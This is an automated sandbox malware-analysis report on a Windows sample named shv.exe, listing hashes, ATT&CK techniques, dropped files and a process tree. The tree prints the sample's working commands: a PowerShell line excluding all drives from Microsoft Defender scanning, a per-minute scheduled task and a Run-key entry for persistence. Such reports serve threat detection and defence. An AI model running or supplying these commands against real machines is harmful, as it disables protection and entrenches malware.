ba3c44ddd83e17741e19347e79f2d958aeb9f5bd5b130d01a46ff34ef282a2f3

Analysis

max time kernel
149s
max time network
142s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
16/08/2026, 01:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
shv.exe
Size 59KB
Sample260816-cdq4baysbx
SHA256 ba3c44ddd83e17741e19347e79f2d958aeb9f5bd5b130d01a46ff34ef282a2f3
MD5 871dcb960d7ae0dadd93a47efb6d9f23
SHA1 b9c741e041f2cea9220acdb8a2ef6e9e4c4aaa5b
SHA512 2358c7d95c7b4f8209aac53509326979f4e9e3a65f4ac219fe23936f649d35ccc91e994fdfd6d26ed7f4323a9ebddbcffb149d3305b61a428fa33d204a62e569
SSDEEP 1536:8vrKU+I3K+qO6JD7XMkNEYakvRaFiuXJT:8vrKPI6+qO61YkGYPRwiYd
TLSH
T18C430A06F35364ECD55AC6B486EB6773BA31BD2601355F3F0760EA712E10F10AE2AB58
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
496	powershell.exe
796	powershell.exe
1780	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1968	shv.exe
128	shv.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 3 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
4916	cmd.exe
1132	cmd.exe
3524	cmd.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\shv = "C:\\Users\\Admin\\AppData\\Roaming\\shv.exe"	shv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\shv = "C:\\Users\\Admin\\AppData\\Roaming\\shv.exe"	shv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\shv = "C:\\Users\\Admin\\AppData\\Roaming\\shv.exe"	shv.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3524	cmd.exe
4916	cmd.exe
1132	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1840	schtasks.exe
2752	schtasks.exe
1436	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
796	powershell.exe
796	powershell.exe
1780	powershell.exe
1780	powershell.exe
496	powershell.exe
496	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	796	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeDebugPrivilege	496	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4676 wrote to memory of 3524	4676	shv.exe	80
PID 3524 wrote to memory of 1792	3524	cmd.exe	82
PID 3524 wrote to memory of 796	3524	cmd.exe	83
PID 4676 wrote to memory of 1840	4676	shv.exe	84
PID 1968 wrote to memory of 4916	1968	shv.exe	88
PID 4916 wrote to memory of 3268	4916	cmd.exe	90
PID 4916 wrote to memory of 1780	4916	cmd.exe	91
PID 1968 wrote to memory of 2752	1968	shv.exe	92
PID 128 wrote to memory of 1132	128	shv.exe	95
PID 1132 wrote to memory of 1096	1132	cmd.exe	97
PID 1132 wrote to memory of 496	1132	cmd.exe	98
PID 128 wrote to memory of 1436	128	shv.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\shv.exe
"C:\Users\Admin\AppData\Local\Temp\shv.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:3524
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:796
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /create /f /sc minute /mo 1 /tn "shv" /tr "C:\Users\Admin\AppData\Roaming\shv.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1840

C:\Users\Admin\AppData\Roaming\shv.exe
C:\Users\Admin\AppData\Roaming\shv.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\system32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:4916
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /f /sc minute /mo 1 /tn "shv" /tr "C:\Users\Admin\AppData\Roaming\shv.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2752

C:\Users\Admin\AppData\Roaming\shv.exe
C:\Users\Admin\AppData\Roaming\shv.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:128
- C:\Windows\system32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:496
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /f /sc minute /mo 1 /tn "shv" /tr "C:\Users\Admin\AppData\Roaming\shv.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1436

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 806108d63bfcb70f52225c5ad2101ff32d5539cd08b0291e62502afbdd77a4dd
MD5 339061bed40a7470eedb247936eff902
SHA1 db359f13777f71537f13aa3b2f9b946936323b21
SHA512 8658d564c79c793ffaa617ccd6f66b4e5f3747a0ca0128432330b7185cd1cf7bbf4317841e08cf6a6e4aabca76b3c61339b141526b7a3c1222961fc805355110
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqnBPzOIz+cmkKiNLm7vh0nRAy6FcxZcon:iq4uYqGEUdncqKXq3qotzYuWq4Iz+8x
TLSH
T161A1CD327375E0D5CC263B07192C19D463AF439AEA54AF48B258620EED2B14BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1effec4763d8a8472f77fdaa6b02e1ce3917c51ca284dfffec7588cf38ac64ed
MD5 0dd28e63aa87727c27b663c678cedfc5
SHA1 7b5fb8700dbd6f729691d4c3e158858be0940ad5
SHA512 9d0fe502ac624bbf794ec47cfdc8e3a31256aec0e5f85d7191d488044b9f9404a9baa605bbbb8dce10fb8eee017cfc3664c7a9d7a4f27244ece462f61ec213d1
TLSH
T174218433B7ECC129C8C911BA208DAD11B2B5C3CB449E8ECB7B84C609957F98ADB545A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 44042c551a351e2809624bc4a3c4ffc815d65079c69dca9a7b8ccfb367c87575
MD5 f559f9e8f239882508ff244214a3743b
SHA1 9c9faae3e53104b6bfc9bfbf4bc43c040fbaceaa
SHA512 d15e898c2841cba0d9ef80fda55f6275306c8236b9d6baac80a4c1537253aa88bd1f0903c0d88bccb0e6892bdeaafa855dbfa3e3a277cbbcbb1f98edccbba94c
TLSH
T148218733B7DCC129C8C9117A108DAD01B2B5C3C7449E8ECB7A84C519997F58ADF581A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_dhmfkbzv.ags.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dhmfkbzv.ags.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

~msnDEV-26c3f6f460910540.tmp

Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-26c3f6f460910540.tmp
Size 4B
SHA256 e629df7022d4f8f4afafc73b61bff3088047855d7fc2d3d071e6fd4b54b8a7a5
MD5 6d239e061903baa9ec5a0b5561da6ba7
SHA1 b5bda9712769c19a3afaeb462b08f973dfd7703b
SHA512 ad7017aac91c5a8b713db94d73e1dc2e39c60548e7a1810b1746cd277fc74ebc8d19e7ecfd9c2f8979de30965126ac692b499064b95d7d76204c65d2bb1061ea
MD5 SHA1 SHA512

Submit Download

~msnDEV-26c3f6f460910540.tmp

Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-26c3f6f460910540.tmp
Size 4B
SHA256 a817411f50238d1d69aa96f4c92557817aa6c638191239fbe09f7130d63d4ce2
MD5 ee16d24ba979af903136711a1284961f
SHA1 67c25dd36355636c4bb1f0883fe8837db2a66412
SHA512 ec28310609ff69223d4c27d1963afe90f84314b41b1b84683248a887c5a97f203006c6a4ebc8f33c84ad0feab99b9ba4e9952e5a98927f9ad984083e8fe84f16
MD5 SHA1 SHA512

Submit Download

shv.exe

Path C:\Users\Admin\AppData\Roaming\shv.exe
Size 59KB
SHA256 ba3c44ddd83e17741e19347e79f2d958aeb9f5bd5b130d01a46ff34ef282a2f3
MD5 871dcb960d7ae0dadd93a47efb6d9f23
SHA1 b9c741e041f2cea9220acdb8a2ef6e9e4c4aaa5b
SHA512 2358c7d95c7b4f8209aac53509326979f4e9e3a65f4ac219fe23936f649d35ccc91e994fdfd6d26ed7f4323a9ebddbcffb149d3305b61a428fa33d204a62e569
SSDEEP 1536:8vrKU+I3K+qO6JD7XMkNEYakvRaFiuXJT:8vrKPI6+qO61YkGYPRwiYd
TLSH
T18C430A06F35364ECD55AC6B486EB6773BA31BD2601355F3F0760EA712E10F10AE2AB58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/128-109-0x00007FF7B79D0000-0x00007FF7B79E9000-memory.dmp

Download

memory/796-17-0x00007FF4AA750000-0x00007FF4AA760000-memory.dmp

Download

memory/796-20-0x000002A97FCC0000-0x000002A97FCCA000-memory.dmp

Download

memory/796-22-0x000002A97FCD0000-0x000002A97FCDA000-memory.dmp

Download

memory/796-23-0x000002A97FD50000-0x000002A97FD6A000-memory.dmp

Download

memory/796-24-0x000002A91D550000-0x000002A91D558000-memory.dmp

Download

memory/796-25-0x000002A91D560000-0x000002A91D566000-memory.dmp

Download

memory/796-26-0x000002A97FD10000-0x000002A97FD1A000-memory.dmp

Download

memory/796-27-0x000002A901E00000-0x000002A901E10000-memory.dmp

Download

memory/796-2-0x000002A901E00000-0x000002A901E10000-memory.dmp

Download

memory/796-21-0x000002A97FD30000-0x000002A97FD4C000-memory.dmp

Download

memory/796-19-0x000002A91D490000-0x000002A91D543000-memory.dmp

Download

memory/796-8-0x000002A97FCE0000-0x000002A97FD02000-memory.dmp

Download

memory/796-1-0x000002A901E00000-0x000002A901E10000-memory.dmp

Download

memory/796-18-0x000002A901DE0000-0x000002A901DFC000-memory.dmp

Download

memory/796-10-0x000002A901E00000-0x000002A901E10000-memory.dmp

Download

memory/1780-63-0x0000024548E50000-0x0000024548F03000-memory.dmp

Download

memory/1968-76-0x00007FF7B79D0000-0x00007FF7B79E9000-memory.dmp

Download

memory/4676-47-0x00007FF6D8EF0000-0x00007FF6D8F09000-memory.dmp

Download

memory/4676-33-0x0000000280A30000-0x0000000280A8A000-memory.dmp

Download